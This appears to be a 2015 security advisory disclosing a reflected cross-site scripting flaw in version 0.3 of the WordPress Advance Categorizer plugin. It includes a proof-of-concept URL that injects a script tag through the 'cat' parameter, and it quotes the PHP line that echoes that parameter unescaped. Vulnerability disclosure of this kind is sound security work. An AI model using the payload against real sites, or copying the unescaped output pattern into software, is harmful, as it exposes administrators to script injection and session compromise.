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WordPress Advance Categorizer 0.3 Cross Site Scripting

WordPress Advance Categorizer 0.3 Cross Site Scripting
Posted Jul 28, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Advanced Categorizer plugin version 0.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 347983de4aab3350e2a54d04608e7657

WordPress Advance Categorizer 0.3 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Advance Categorizer' Plugin 
Version: 0.3
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-24
Download:
- https://wordpress.org/plugins/advance-categorizer/
- https://plugins.svn.wordpress.org/advance-categorizer/
Notified WordPress: 2015-06-24
==========================================================

## Plugin description
==========================================================
Allows you to add multiple categories using comma seperated text. You can also start via url "/wp-admin/post-new.php?cat=category1, category2, categor

## Reflected XSS vulnerabilities
==========================================================
The plugin is vulnerable to reflected XSS, which allow an attacker to trick an admin into executing an arbitrary script in the admin panel.

PoC:
Log in as admin and visit this url: [URL]/wp-admin/post-new.php?cat=asdf"/><script>confirm(/Hackedihack/)</script>

Vulnerable code in file advance-categorizer.php:

L.61: ... value="<?=isset($_GET['cat'])?$_GET['cat']:(isset($_GET['categories'])?$_GET['categories']:'');?>" ...


## Solution
==========================================================
No fix available

==========================================================
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

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